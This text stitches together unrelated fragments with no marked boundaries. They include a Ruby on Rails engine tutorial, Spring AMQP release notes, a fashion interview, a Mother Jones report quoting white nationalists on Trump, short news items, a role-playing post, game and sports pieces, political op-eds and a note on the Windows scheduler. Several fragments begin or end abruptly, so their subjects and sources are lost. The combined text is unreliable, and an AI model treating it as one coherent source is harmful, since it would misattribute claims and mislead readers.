To help reinforce this theme, Ruby on Rails requires that an Engine’s controllers, views, and assets all be nested in namespace modules and corresponding directory folders.
Controllers
In the Passages Engine, the RoutesController demonstrates this nesting.
|-app |--controllers |---passages |----routes_controller.rb
module Passages class RoutesController < ActionController :: Base # ... end end
The same folder structure is used for views and assets.
Routes
Of course what good is a controller without a route to use it? A Ruby on Rails Engine also can define its own routes similarly to a stand-alone application.
Unlike the controllers, the routes.rb file is not contained in a passages folder, nor is it within the module Passages .
|-config |--routes.rb
Passages :: Engine . routes . draw do root to: 'routes#index' end
In a standard Ruby on Rails application, the first line in a routes file is: Rails.application.routes.draw ; however, within an Engine, the name of the Engine replaces Rails.application .
With a simple routes file in place, an application using the Passages Engine can run rake routes to see the new routes in action:
$ rake routes Prefix Verb URI Pattern passages /passages users GET /users POST /users new_user GET /users/new edit_user GET /users/:id/edit user GET /users/:id PATCH /users/:id PUT /users/:id DELETE /users/:id Routes for Passages::Engine: root GET / passages/routes#index
Note: This assumes the engine is mounted at /passages , more about mounting routes below.
Neat, the Passages routes are in a separate section to help differentiate them from normal application routes.
Remember the isolate_namespace method? One of the side-effects of not using an isolated namespace can be seen when asking for an applications routes.
If the namespace isolation is commented out:
module Passages class Engine < :: Rails :: Engine # isolate_namespace(Passages) end end
Then rake routes gives a different output:
$ rake routes Prefix Verb URI Pattern passages_engine /passages users GET /users POST /users new_user GET /users/new edit_user GET /users/:id/edit user GET /users/:id PATCH /users/:id PUT /users/:id DELETE /users/:id Routes for Passages::Engine: root GET / routes#routes
Notice that now the root for the Passages Engine has had its prefix removed. This will cause Rails to look in the wrong place for the routes_controller :
ActionController :: RoutingError ( uninitialized constant RoutesController ):
While this might not be a huge deal for some applications, the fact that an Engine triggers a top level controller to be fetched is worrysome. What if the main application had its own RoutesController , the Passages Engine could incorrectly fetch that instead. Or if things are reversed, an Engine without an isolated namespace might incorrectly override an important controller in the main application.
Assets
Like controllers and views, an Engine’s assets are also nested under a folder bearing the Engine’s name.
|-app |--assets |---javascripts |----passages |-----application.js |---stylesheets |----passages |-----application.css
This organization enables the layouts and other views in the Engine to only load the files it needs and not accidentally reference the main application’s application.js and application.css :
<%= stylesheet_link_tag 'passages/application' , media: 'all' %> <%= javascript_include_tag 'passages/application' %>
To enable precompiled assets, a few more lines need to be added in the same engine.rb file:
module Passages class Engine < :: Rails :: Engine isolate_namespace ( Passages ) initializer ( "passages.assets.precompile" ) do | app | app . config . assets . precompile += [ 'application.css' , 'application.js' ] end end end
This initializer line creates an initializer in the underlying railties to be evaluated when assets are precompiled via rake assets:precompile . With this, an application can successfully compile its own assets and those of the Passages Engine.
Mount Up
A Ruby on Rails Engine must be mounted by an application for it to be accessible.
The normal place for this to occur is in a main application’s routes.rb :
Rails . application . routes . draw do mount Passages :: Engine , at: '/passages' end
The '/passages' string can be replaced with any desired endpoint, the Engine does not care about the name.
Alternatively, an Engine can mount itself using the same initializer method in engine.rb :
module Passages class Engine < :: Rails :: Engine isolate_namespace ( Passages ) initializer ( 'passages' , after: :load_config_initializers ) do | app | Rails . application . routes . prepend do mount Passages :: Engine , at: '/passages' end end end end
In this case, the initializer has a specific placement: after the configuration initializers are loaded. This initializer then writes to the main application with Rails.application.routes.prepend and, as the name suggests, prepends the mount to the application’s routes.
Since the mount is added to the beginning of an application’s routes, it is possible that this mounted path (in this case '/passages' ) will be overridden by a route with the same name later on in the main application’s routes.rb file.
After an application mounts the Passages Engine, it can navigate to /passages . This request would be served by the Passages Engine like a normal Ruby on Rails application request.
Use With Caution
Auto-mounted Engines may sound like a great idea but it might be best to leave that decision to the consumer. A suggested approach to this is have an opt-in functionality with auto-mounting. Placing this logic behind a conditional (based on some kind of configuration variable) gives consumers of this Engine the power of auto-mounting without the worry of “magic” they did not ask for.
Next Steps
With the basic structure in place, a new Engine can be built like any other Ruby on Rails application. Controllers and their respective views can be created and placed under the appropriate namespaces and folders. Routes that utilize these controllers can be added as well. Assuming that both the main application and the Engine use the same ORM (or are at least compatible), even models can be created.
The Passages Engine was built as a standalone gem. Making it available was the same process as creating any other gem. A .gemspec file was created, the gem was cut to a version, and then finally hosted on Rubygems.org. An application that wishes to use the Passages Engine can install it by adding a new line to the Gemfile: gem 'passages' .
This same pattern can be used to make any stand alone Ruby on Rails Engine. However, it would be a wise decision to choose specific versions of Ruby on Rails to support. For example, the Passages Engine was built to support Ruby on Rails 4.X, it is not compatible with Ruby on Rails 3.X at all.
Built to Last
Going further, the creation of views, initializer files, migrations, and models can all be accomplished the same way one would in a regular Ruby on Rails application.
Some highlights of this release:
A new jar spring-rabbit-test containing a test harness to help with testing @RabbitListener methods; see the testing chapter.
Multiple @RabbitListener annotations on a method (when using Java 8) and the @RabbitListeners annotation (for pre-Java 8), each allowing the same method to be the listener method for multiple listener containers.
Full support for the Delayed Message Exchange RabbitMQ plugin.
An AsyncRabbitTemplate returning ListenableFuture<?> for request/reply messaging.
An option to publish ApplicationEvents when listener containers go idle.
For a complete list of new features, see the What’s new? as well as the JIRA Release Notes.
Visit the project page for links to downloads, documentation etc.
Recently, she’s been outfitting both mainstream artists (see: Cyrus and Rihanna) as well as L.A.’s underground A-list eccentrics in her outlandish pieces. These dresses, featuring “skinny,” “average,” and “obese” versions of Oprah with KISS makeup and screaming faces might just be her most eye-catching collaboration yet. She tells the Cut about the inspiration behind her designs, her plans to open the Prada Marfa of Rodeo Drive — and the best way to wear a floor-length naked Oprah dress without feeling X-rated:
Alright, let’s start with the dress. Why Oprah?
This is a collaboration with designer [and Misbehave creative director] Sally Thurer. She’s the one who made the graphic. For me, it originated as kind of the age old [red] carpet question: Who are you wearing? And this clearly is: You’re wearing Oprah instead of a designer. Sally mentioned from the onset of this collaboration that one of Oprah’s most effective qualities is that she’s a placeholder, she’s a stand-in for you with her foibles and her failures — especially with her public weight issues. I’m interested and sensitive to this increased access that we have to celebrities and to all of their ups and downs, for better or worse. I feel like it’s kind of my own personal exploration and exploitation of just that.
Why naked Oprah?
There’s a David Nelson painting of the former mayor of Chicago, Harold Washington. He’s nude except for women’s lingerie. It caused this huge uproar in the late eighties in Chicago. It’s kind of an updated version of that. We feel very protective of our public figures. We don’t want them to be exposed that way, but we feel like they’re ours, too. The simpler, more lighthearted idea is that it’s like one of those bikini-printed beach shirts. I think there are some really meaningful philosophical layers. I can’t believe I just said “philosophical” when talking about a dress. We share a humorous underpinning to all our work. That’s why there’s naked Oprah with a KISS face. It can nod to how ridiculous the fashion industry is at times.
Do you think Oprah’s going to put this dress on her Favorite Things list?
Surely Oprah personally would not be excited about having our version of her nude body splashed on a dress for other people to wear, but I think it’s an interesting conversation to have about our access and our interest in people that we don’t know.
If I were to wear this dress out, how could I do it without feeling awkward?
I would just encourage people to just be bold with it. If they’re going to buy it and wear it, just wear it. I would say leave your jacket at home, you know? Or try the T-shirt version, then you have the familiarity of pants to help you.
Photo: Courtesy photo
So you call your aesthetic “white trash meets high-class.” What does that mean, exactly?
Depending on how I’ve done my makeup and what outfit I’m wearing, my look, especially because of my haircut, is so easily “meth addict.” Where I grew up, Independence, Missouri, had a huge meth problem, and I feel like, for better or worse, [the] white-trash aesthetic is pumped into my preferred look. It just feels like home to me. I’m also really attracted to this eccentric, Parisian old lady look. She’s clearly has so much money she doesn’t know what to do [with] anymore, so she’s just buying things and piling them on top of herself. It’s the same idea, and it’s clearly a little exploitative, that you find a homeless person on the street, and they’re wearing everything they own all at once, and you think, Oh my god, that’s a great style. I’m comfortable with that intersection.
Is that a Kansas City or L.A. influence?
I don’t know if I would have that same opinion had I not grown up in a place where that was mainstream, and a look that the cool kids were wearing. That’s what the popular kids in my high school looked like. I’m not proud to say that’s something I was affected by when I was younger, peer pressure and what the cool kids were doing.
Wait, you didn’t consider yourself a cool kid?
Ah man, I wish I was. I wanted to be liked, I wanted to be popular. It’s not something I’m bragging about. I’d love to say I was like, “Fuck the cool kids,” and listening to punk — it comes with a lot more street cred. But until I moved in with legitimate cool kids, I didn’t know about riot grrrl music or anything like that. I was listening to R. Kelly. Not Bikini Kill. That’s had a huge influence on how I’ve developed my taste and my own aesthetic.
Any plans to open an L.A. store?
If I’m going to have a store in L.A., I don’t want it anywhere except for Rodeo Drive. I know how crazy that sounds. My ideas behind that are centered around it being more of a public arts project. My stores are absolutely more concept stores than they are smaller versions of the Gap — like a Prada Marfa. I’m definitely an artist first, and a businessperson second — and my bank account unfortunately illustrates that.
Noland’s Oprah dress collaboration can be found at Peggynoland.com or at her Kansas City boutique.
A new report by Mother Jones takes a look at the far right’s role in the 2016 election, documenting how outright racists, white supremacists, and white nationalists have discussed and received Trump’s candidacy. Generally, these people seem to describe Trump in glowing terms, Mother Jones found:
Trump "may be the last hope for a president who would be good for white people," remarked Jared Taylor, who runs a white nationalist website called American Renaissance and once founded a think tank dedicated to "scientifically" proving white superiority. Taylor told us that Trump was the first presidential candidate from a major party ever to earn his support because Trump "is talking about policies that would slow the dispossession of whites. That is something that is very important to me and to all racially conscious white people." Trump fever quickly spread: Other extremists new to presidential politics openly endorsed Trump, including Don Black, a former grand dragon of the Knights of the Ku Klux Klan and founder of the neo-Nazi site Stormfront; Rocky Suhayda, chair of the American Nazi Party; and Rachel Pendergraft, a national organizer for the Knights Party, the successor to David Duke's Knights of the Ku Klux Klan. Richard Spencer, an emerging leader among a new generation of white nationalists known as the "alt right," declared that Trump "loves white people."
As Sarah Posner and David Neiwert explained at Mother Jones, to these Trump backers, what the media has largely treated as gaffes — Trump retweeting white nationalists, Trump describing Mexican immigrants as “rapists” and criminals — are real signals approving of their racist causes. One white supremacist wrote, “Our Glorious Leader and ULTIMATE SAVIOR has gone full-wink-wink-wink to his most aggressive supporters.”
This type of messaging from Trump, Mother Jones found, has apparently made white nationalists much more confident. For them, Trump has begun to soften the greater public to racist messages.
“The success of the Trump campaign just proves that our views resonate with millions,” said Rachel Pendergraft, a national organizer for the Knights Party, which succeeded David Duke’s Knights of the Ku Klux Klan. “They may not be ready for the Ku Klux Klan yet, but as anti-white hatred escalates, they will.”
And they’re going to keep pushing their same racist messages after the election:
Many white nationalists and their fellow travelers have been saying they are poised to build on Trump's presidential campaign. Pendergraft and Taylor each told us that win or lose, Trump's run has brought into view a tremendous dissatisfaction among white Americans. "Those feelings will not go away," Taylor said. He envisions alt-right candidates for school board, city council, and mayor. "I feel my job will be done when at the PTA meeting a woman gets up and says, 'Well of course there aren't as many blacks in the AP courses, because they just do not have the same average IQ,' and nobody objects."
Ultimately, this could be Trump’s big impact. He probably won’t take the White House — the polls show him losing by quite a bit to Hillary Clinton. But he has given a voice to a lot of truly deplorable people.
Read the full report over at Mother Jones.
Police Close In on Suspect in PA Cop Killing, Exchange Gunfire
WATCH: Motorcyclist T-Bones Two Cars, Lands Between Them!
According to the Secret Service, the incident started earlier Saturday afternoon when a man walked up to a gate on foot.
He later showed up at a different gate in a car and pulled into the vehicle screening area.
When the man was asked to leave and refused, he was placed under arrest and charged with unlawful entry.
"He didn't actually break through the barricade, but he has been taken into custody," Elizabeth Prann said on America's News Headquarters this afternoon.
The man's vehicle was screened by bomb technicians, and nearby streets were closed down, although the White House itself was not put on lockdown.
The arrest comes less than a day after a 42-year-old man scaled the fence and managed to get through the front doors before agents were able to apprehend him.
Watch the clip above.
Police Now Pursuing Homicide Charges Against Mentally Ill Mom of Missing Toddlers
His family announced his death. He had been a longtime professor at the University of Illinois, Urbana-Champaign.
Artificial trans fats — derived from the hydrogen-treated oils used to give margarine its easy-to-spread texture and prolong the shelf life of crackers, cookies, icing and hundreds of other staples in the American diet — were ruled unsafe by the Food and Drug Administration partly in response to a lawsuit that Professor Kummerow filed against the agency in 2013, two months shy of his 99th birthday. The ban, announced in 2015, goes into effect in 2018.
NFL.com reported Tuesday afternoon that the New Orleans Saints have released former first-round pick C.J. Spiller.
The former Clemson running back was selected in the first round of the 2010 NFL Draft by the Buffalo Bills, but his career in Buffalo never gained traction after he had to split the carries with veteran Fred Jackson. His best season came in 2012 when he carried the ball 207 times for 1,244 yards and six touchdowns. Spiller had 202 carries in 2013, but injuries limited him to 78 carries in 2014 and just 36 with the Saints last season.
Spiller was inactive for the Saints last weekend for their game against the Raiders. For his NFL career with the Bills and Saints, Spiller has 704 rushes for 3,433 yards and 12 scores.
Ayden Van Richten
Ayden watched with regret as the only person interesting that he had to talked to left with the only other interesting person... the halfling and not the overly grumpy doctor... Ayden was almost half a mind to as well... the dwarf and the others were deeply invested in checking out the locks and that so totally had his interest. Then a shady new arrival... at the behest of the church as well... well wasn't that a convenient coincidence... shows up and pretty much starts doing the same thing. From the look and sounds of it, he wasn't going to be anywhere as much fun as Skorn...
"Perhaps it is interesting to see so many locks... perhaps the intent was not to keep things out as so much to keep someone or something in...?" Ayden said as he continued to follow everyone's obsessive look for the means of the children disappearing. "Look since we seem hellbent on scrutinizing every lock and wall in the place, looking for some kind of clue or secret tunnel... and since we have found such an abundance of clues... perhaps we should entertain the thought that whoever perpetrated the act may have use magic or similar supernatural means? Not that I am not totally digging this "party" and what we are doing presently..."
OOC and Dice Rolls: Passive Perception - Taking '10' for the time being.
Maxie Price Chevrolet –– We're Here for You
Guild Wars 2: Heart of Thorns is out at some stage before the end of this year, and a host of changes are set to come to ArenaNet's MMO when it launches.
We've detailed the upcoming Specialisations feature, which enables each character Profession to use a new weapon type and gain access to new abilities, but the Mastery System has been much more mysterious. Until now.
Guild Wars 2: Heart of Thorns Mastery Details 10+ IMAGES Fullscreen Image Artboard 3 Copy Artboard 3 ESC 01 OF 11 01 OF 11 Guild Wars 2: Heart of Thorns Mastery Details Download Image Captions ESC
A demo shown off by the developer reveals when Heart of Thorns launches it'll do so with seven Mastery Lines. Three of these will be acquired in the areas already available in the game today, which ArenaNet is calling "Central Tyria", while the other four can be found in the Heart of Maguuma. Once you hit level 80, any experience earned will go towards individual Masteries, which can be unlocked using Mastery Points once enough XP is accrued.
Of the Central Tyria lines, each one has a clear role to fill. The Fractal Attunement Mastery grants access to additional dailies, new infusions, and instance-specific buff items or challenge modes, while The Legendary Precursor Crafting Mastery exists to make crafting your very own Legendary Weapon that much easier. On that note, ArenaNet confirmed three new Legendary weapons would be added to Guild Wars 2 when Heart of Thorns launches, with more following as the story develops.
My personal favourite of the old lines, however, is Pact Commander Mastery. This focuses on mentoring new players, and enables you to have a special icon over your head or in chat to indicate you're happy to help others. Continuing along this path will also unlock the ability to revive allies faster based on how many levels lower than you they are, and even two features all Guild Wars 2 fans have desperately been waiting for - auto-loot and speed boosts in cities.
The Heart of Maguuma Mastery Lines, meanwhile, have been spoken about before. Gliding makes its debut in Heart of Thorns, with possible Masteries including the ability to stealth while flying to avoid foes or accessing ley lines to boost across the map at high speed.
Exit Theatre Mode
The other three - Itzel, Exalted and Nuhoch Lore - offer various bonuses ranging from the ability to summon challenging five-person bosses with unique loot tables to identifying mushrooms that, when eaten, reset all cooldowns.
ArenaNet was keen to emphasise more Mastery Lines will be added in future patches, but it estimates collecting all 39 Masteries coming at launch will likely take players as long as levelling from 1-80. The good news is the system is account-wide, meaning once they've been earned on one character you'll have them on them all.
We'll have much, much more on Guild Wars 2: Heart of Thorns in the coming weeks, so be sure to keep a close eye on IGN for all the latest news.
It’s a comment that may well have gone under the radar had it not been for Team GB’s unequivocal success on home soil. With 12 medals secured – eight of them being gold – Brailsford’s team had truly hegemonised the cycling world, leaving other nations in their wake. The notion of making slight but effective improvements in numerous areas has since transcended two wheels and now holds its rightful place at the epicentre of general sporting development.
Benfica have been at the forefront of player development for many years. However, since the grand opening of their award-winning academy, the Caixa Futebol Campus in 2006, they have gone a step further and successfully blended technological advancements in sports science with innovative coaching techniques to help foster a truly exceptional environment for youngsters to flourish within.
Overlooking the Rio Tejo, the Caixa Campus is a world-renowned academy of excellence. Located in the region of Seixal, just south of Lisbon, the centre is currently home to 15 youth sides, the B-team and the first team squad. The complex spans 19 hectares and consists of nine grass pitches – one of which hosts the B-teams matches with a capacity of 2,720 – two artificial surfaces and a 360-degree indoor ‘football laboratory’ where players’ individual physical fitness components are put to the test. This state of the art facility also accommodates nearly 60 academy prospects who live too far from Portugal’s capital to make the daily commute and are consequently housed in a lavish on-site hotel.
The Águias (Eagles) are renowned for their near-nonpareil scouting network, with 172 scouts currently deployed across the globe. The improvement of the academy, though, has become apparent in the past five years with the production line of homegrown talent accelerating rapidly.
Read | A Tale of One City: Lisbon
At the heart of the Campus is Benfica legend turned general academy manager Nuno Gomes. The ex-striker is proud of the ongoing project that has produced players of the calibre of Renato Sanches, Bernardo Silva, André Gomes and Gonçalo Guedes in recent times, however he believes this is just the start. Speaking to Wired magazine earlier this year he stated: “The programme here is working, but we want more.”
What’s unique about Benfica’s structure is its almost religious belief in cutting edge sports science. The Portuguese outfit ensures every decision taken regarding their academy starlets is based upon sound data analytics, with the subsequent results there for all to see.
Off the pitch, players’ sleep patterns are recorded, diets are logged and surveys about mental wellbeing are mandatory. On the pitch, GPS sensors and heart rate monitors are worn to track distances and speed, and upon completion of matches, scans are undertaken by each player to highlight any muscle fatigue. All of this data is then calibrated and methodically analysed in order to calculate tailor-made training regimes and diet plans for each player.
Tracking all these variables in the hope of marginal gains helps Gomes and his team meticulously study all aspects of the players’ lives, allowing the staff to liaise efficiently and purposively, from the first team manager to the sports psychologist to the in-house chef. It’s an interdependent environment where no stone is left unturned, and it’s working wonders.
When club president Luís Filipe Vieira spoke to TVI back in 2016, he confidently announced: “We are going to have a team made up 100 percent of players who came through the Seixal academy. That’s our long-term plan and I have no doubt we’ll get there.”
Although it’s hard to doubt that the academy is capable of making such lofty aims a reality, the economic circumstances that dictate this dream make it highly improbable.
Original Series | The Academy Way
With the club unable to match the vast financial clout of Europe’s elite, the Águias have adopted an approach of monetising many burgeoning homegrown stars in order to balance the books. Moreover, as noted by Portuguese football expert Tiago Estêvão, in an era evermore dominated by superagents, the likes of Jorge Mendes have been responsible for using the Caixa Campus as a springboard to reap client’s greater deals elsewhere, much to the detriment of Benfica.
The aforementioned Sanches is a prime example. Having only completed one season of senior Primeira Liga action, the academy graduate was courted by German giants Bayern Munich and, with Mendes coaxing the starlet behind the scenes, a deal of €35 million was quickly struck as Sanches joined Die Roten.
Bernardo Silva, another represented by Mendes, was plucked from the grasp of Benfica after just a single first team appearance and placed into the grateful arms of Monaco. That particular transfer was greeted with begrudged animosity by Benfiquistas who, as Portuguese football writer Marco Lopes points out, was regarded as ‘the most exquisite [academy] talent since a certain Rui Costa’.
This label of being a selling club is nothing new. Over the past seven years Benfica have parted company with no fewer than 12 crucial players for a staggering €376 million, and although the shift in mentality to nurture homegrown talent has been promising, with Benfica having made a habit of selling accomplished youth, it begs the question whether Vieira’s goal will ever be realised?
One man trying his hardest to fulfil his employer’s wishes is first team manager Rui Vitória. Demonstrating the club’s commitment to cohesion at all levels, the 47-year-old has taken time to observe copious academy and B-team sessions and has since blooded the best imported talents such as Victor Lindelöf and Ederson in the first XI.
Read | Benfica and Portugal’s politics: a relationship impossible to separate
Last year in an interview with A Bola, Vitória reaffirmed his unwavering belief in the academy: “I’m very alert to Benfica’s B-team and youth teams. Of course I can’t be sure that the players I believe will get to the first team in three years, will do so, but there’s a system in place and we have lots of alternatives. Benfica’s future is guaranteed.”
The relatively infant Caixa Campus recently marked its 10th anniversary since its construction, with worldwide recognition. After winning the prestigious title of Best Academy at the 2015 Globe Soccer Awards, general manager Gomes was beaming with adulation. “It is an award that fills us with pride, it is a sign that we are working well. There are very few academies that are better than ours in terms of their working conditions.”
On-field achievements have been prevalent, as demonstrated by two appearances in the first four UEFA Youth League finals, although Benfica lost both. Despite their only major award coming away from the field of play, the club’s continual progression to the latter stages of European youth competition only further accentuates its outstanding academy.
The conflict of interest between managing the eye-watering €300 million debt and ensuring their youth products see out their peak years in Benfica red remains a challenge, but as the first team claim a historic fourth consecutive league title with a combination of shrewd recruits and homegrown personnel, the positives are there for all to see.
Even if President Vieira’s plan of a solely homegrown first team never materialises, Benfica’s firebrand and avant-garde strategy towards progressive and innovative youth development that has won so many plaudits will surely continue to go from strength to strength – even if it is by the finest of margins.
With the NHL holiday roster freeze now lifted and the calendar soon turning to January, activity could finally pick up in the stagnant trade market.
Entering the recent holiday period, the Colorado Avalanche attracted the most interest among NHL insiders. With only 12 wins and 25 points in 34 games, the Avs sit at the bottom of the Western Conference with the league’s worst record.
During an appearance last Friday on Buffalo’s WGR 550, TSN analyst Darren Dreger said GM Joe Sakic is going to have to do something to improve his club’s culture. Dreger notes core players such as left winger Gabriel Landeskog or center Matt Duchene are the subject of trade speculation.
Dreger’s colleague Bob McKenzie told Toronto’s TSN 1050 he thinks there’s a sense of urgency for the Avalanche to change something. If Sakic moves a core player, McKenzie cautions he must ensure he gets a good return. Of those players, McKenzie doubts they’ll move the 21-year-old MacKinnon, who signed a seven-year, $44.1-million contract last summer.
Duchene could attract the most interest among rival GMs. Last season, he reached the 30-goal plateau for the first time. With 12 goals in 30 games this season, he’s on pace to do it again. ESPN.com’s Craig Custance includes the center on his “All-Trade-Candidates” team. Noting the Avs need for an impact defenseman and the Carolina Hurricanes’ depth in good, young blueliners, Custance suggests Duchene could be a fit there.
Duchene, Landeskog or MacKinnon will undoubtedly bring the Avalanche a top-two defenseman. But while such a move bolsters Colorado’s struggling blueline, it would weaken their already anemic offense.
Their respective contracts also hamper attempts to move them. MacKinnon’s annual cap hit is $6.3 million, Duchene’s is $6 million and Landeskog’s $5.57 million. Only three NHL clubs (Florida, New Jersey and Carolina) carrying over $6 million in cap room this season. If Sakic intends to shop one of those players around the league, he’ll have to seek a dollar-for-dollar deal in order to make a substantial in-season trade.
With their depth in blueliners, sufficient cap space and need for a top-line scorer, the Hurricanes could make a suitable trade partner. But of the ‘Canes blueliners, only Justin Faulk can be considered an impact rearguard right now. Jaccob Slavin and Noah Hanifin have potential but have yet to fully establish themselves. Hurricanes GM Ron Francis could be reluctant to part with Faulk.
Anaheim Ducks defenseman Cam Fowler was the subject of frequent trade speculation throughout last summer and into preseason. It was assumed the 25-year-old would be dealt to free up cap space to re-sign Hampus Lindholm. GM Bob Murray, however, resolved that problem by placing defenseman Simon Despress and center Nate Thompson on long-term injured reserve.
The Ducks depth in defensemen, however, means they risk losing a quality blueliner such as Fowler to the expansion draft in June. As they lack experienced skilled depth at left wing, perhaps a swap of Fowler for Landeskog is possible. To date, Bob Murray’s given no indication he intends to move Fowler this season.
Given the Avs’ needs, the limited number of trade partners this season and the expensive contracts of their core players, Sakic could be forced to wait until the offseason to find a suitable deal.
The conceit of this never-to-be-written book was the complete collapse of privacy illustrated by the “supporters” that everyone was given when they had a child. In this futuristic hell, as soon as a woman gave birth, a support worker would come and live in her house, both to help the parents with the difficult child and to protect the child from the potentially abusive parents.
There was no longer an expectation, or even an understanding of privacy, intimacy, trust, or even a relationship with and between parent and child. Rather, relationships were mediated through your own personal support worker.
Unfortunately, this dystopian future has arrived a little faster than I imagined, as last week the Scottish Government’s plan to give every child a state guardian from birth was launched. This state-appointed overseer will be a specific, named individual, and every child will have one, from birth. The responsibility for creating this named guardian will fall on the heads of the health boards for the first five years of a child’s life, before being transferred to councils. Perhaps the most worrying aspect of this development is that it clearly comes in large part as a mechanism to target and prevent child abuse.
Concerns about this new statutory initiative built into the Children and Young People Bill have been raised by some MSPs, but largely on technical grounds: Can the state afford to have a “supporter” for every child? How will the child get to know this person and how will they develop a trusting relationship with them?
Children’s minister Aileen Campbell has said the approach would be useful in that a specific individual will have the responsibility of overseeing the wellbeing of specific children. As she put it, this will “make sure there is someone having an overview of what is happening to that child, to make sure that early indicators of anything that would pose a threat or risk to that child are flagged up”.
Part of the plan is that professionals increasingly share information with one another so as to nip problems in the bud. Like the “every child matters” approach in England and Wales, “safeguarding” children is now the priority of anyone working with children, be that a teacher, a dentist, a youth worker, a swimming instructor and so on. And at one level this sounds OK – anything that stops child abuse…
On the other hand, it can be seen as having little to do with the problem of abused kids and more to do with our culture of suspicion. It is not the case that families are more abusive today. What has changed is that our faith in one another, and our belief in the importance of privacy, has diminished. We have also lost a coherent sense of public duty and subsequently “child safety” has become a new, off-the-shelf, framework that attempts to offer coherence to people running public services and professional bodies.
It is arguable to what extent “every child” can really be protected by our new guardians, or indeed that these named professionals will take seriously the need to keep an eye on “nice” families. However, as the meaning of abuse and harm expands to include things like being bullied, or even being shouted at, the potential for professional intervention into family life is growing.
Add to this the emphasis being placed on all child-related professionals to watch out for abuse, and the suspicious and indeed corrosive nature of this approach is all too clear. Essentially, the idea of a specific person looking after the interests of a child coming with the name of “father” or “mother” has been lost from Scottish society – or at least lost within the corridors of power.
Increasingly, decisions about our children’s wellbeing are being taken out of our hands. Not just education, but sex, health, lifestyle, even political life is taught to children by people outside the home. In Dundee, where I live, I hear of cases where children are instructed to tell their parents that the school doesn’t approve of the contents of the parent-provided lunchbox. Elsewhere, we hear of teachers reporting parents to social services for allowing their children to “risk” cycling to school. And just about everywhere we have children being encouraged to tell their own parents off for smoking or drinking at home.
The recognition of the importance of privacy, of the authority of parents and the protection of this privacy and authority by society is declining fast. In fact, researching the issue of the “autonomous family”, a hugely important building block for British society, it is noticeable that at the level of policy this idea has completely disappeared.
Today it is assumed parenting is simply too hard, children are simply too vulnerable and risks are simply too great to allow for this luxury called “privacy”. This is why nobody is attacking this new bill in defence of privacy and the autonomous family.
In my dystopian future, the hero Michael, who was an outsider to this (not so brave) New World, started off as a self-confident, well-adjusted, strong character. By the end of the story he had become a nervous, obsessively self-conscious, fragile, distrusting and yet conformist individual. Accepting the need to abandon privacy, engaged with the idea of risk – especially in relationships – Michael’s life soon became empty of true bonds or friendships. This loveless and bloodless existence led to… but that would spoil the end. But then, who needs a sci-fi novel when we have our very own “state guardians”.
Welcome to my world!
Less than three days after his inauguration, President Trump appointed Ajit Pai as FCC chairman and put in motion the repeal of Title II, the legal foundation for net neutrality rules that protect free speech and innovation on the internet.
Much like President Trump himself, Pai has presented himself as a pro-business advocate, and he has used that platform to argue that Title II “appears to have put at risk online investment and innovation, threatening the very open internet it purported to preserve.”
The truth, however, is quite the opposite. And today’s Day of Action, organized by Fight for the Future and supported by nearly every major internet company, was designed to stand up for the people and businesses who will be affected by its repeal.
By creating fast lanes for toll-paying incumbents who can afford the tolls and slower channels for everyone else, the FCC isn’t easing burdens on these companies. It’s making it harder for them to compete and scale.
The internet has been one of the main drivers of dynamism in our economy over the last two decades, offering entrepreneurs of all kinds the ability to reach a global audience of customers, and giving consumers around the country the ability to access physical and digital goods from just about anywhere in the world. It has helped birth whole industries and, along the way, paved the way for many thousands of new companies to emerge and thrive.
According to the National Bureau of Economic Research, small, young firms represent nearly all net new job creation, and almost 20 percent of gross job creation. By creating fast lanes for toll-paying incumbents who can afford the tolls and slower channels for everyone else, the FCC isn’t easing burdens on these companies. It’s making it harder for them to compete and scale.
Much of the FCC’s case against net neutrality rests upon its refusal to classify internet service as a utility. This, too, is misguided.
Simply put, cable TV consumers see content from whoever pays the most. And this experience — where you get five different flavors of the same product — is not what we want to see when we open our browsers.
Throughout U.S. history, we have seen core pieces of infrastructure reshape our lives, from railroads to interstate highways to the internet itself. All of these industries have had some things in common: They radically shortened the effective distances between people and made it quicker and easier to connect. They made it simpler for businesses to get goods and services to buyers, to attract new workers and get more inputs for manufacturing. Collectively, this opened larger markets and lowered barriers to competition. For consumers, this meant a better, cheaper and broader selection of goods, as well as access to new information and ideas.
But while each of these enabling technologies held great promise for the U.S. economy and society, they haven’t all lived up to their potential. The fate of cable TV is a poignant example.
In its early days, cable television promised to be a source of enormous diversity, with everything from small community stations to never-ending blockbuster movies. Cable TV at that time meant choice and breadth. Quickly, though, cable morphed into a pay-for-play environment. Now owned by five companies, there’s a glaring lack of diversity. Gone are the days when you could browse and get a real range of views and voices.
Simply put, consumers see content from whoever pays the most. And this experience, where you get five different flavors of the same product, is not what we want to see when we open our browsers.
Unsurprisingly, there’s bipartisan agreement that this is a bad thing. According to a Politico/Morning Consult Poll, 59 percent of Republicans and 61 percent of Democrats back the rules as they stand. Equally as important is the support shown by companies like Facebook and Google, which have continued to advocate for the billions of consumers who use the internet each day.
But we should remember that relaxing current net neutrality regulations isn’t just bad for internet users. It’s also bad for American businesses, and they deserve an advocate, too.
Thousands of startups rely on the inherently open, borderless nature of the internet to compete and to scale. Net neutrality preserves that environment, which is critical to fostering economic growth and job creation in the U.S. economy.
Imagine the following scenario: You have a great idea for a new business. You’re ready to launch online, having built a solid product and developed a great marketing plan. You go live, but no traffic comes to your site. Instead, the no-longer-neutral superhighway diverts traffic to your more established competitors. Instead of an impartial platform, the internet gives the larger players a huge advantage. You’re excited by your idea, but your spirits quickly dampen, and you close down your digital shop. Net neutrality rules will inevitably tamper with the innovative and entrepreneurial spirit that has thrived online, making this imagined scenario commonplace.
As a global technology company, Stripe works with entrepreneurs across the country, in every industry, at all stages, of all sizes. No matter where they are — California, Iowa or the Carolinas — these thousands of startups rely on the inherently open, borderless nature of the internet to compete and to scale. Net neutrality preserves that environment, which is critical to fostering economic growth and job creation in the U.S. economy.
During today’s planned Day of Action, we need to ask ourselves if we want the internet of the future to look anything like the cable TV of today. But we also need to acknowledge the impact a repeal of Title II would have on companies of all sizes — because in truth, no Americans benefit from turning today’s digital highway into an anticompetitive toll road.
Prior to Windows 7 (and therefore Windows Server 2008 R2) the Windows kernel dispatcher employed a single lock, the dispatcher lock, which worked well for a relatively small numbers of processors (like 64). However, now that we find ourselves in the midst of the ManyCore era, well, 64 processors aren’t that many... A new strategy was required to scale Windows to large numbers of processors since a single lock is limited in capability, by design: The masterful David Cutler, one of the world's greatest software engineers, wrote the NT scheduler in a time when the notion of affordable 256-processor machines was more science fiction than probable.
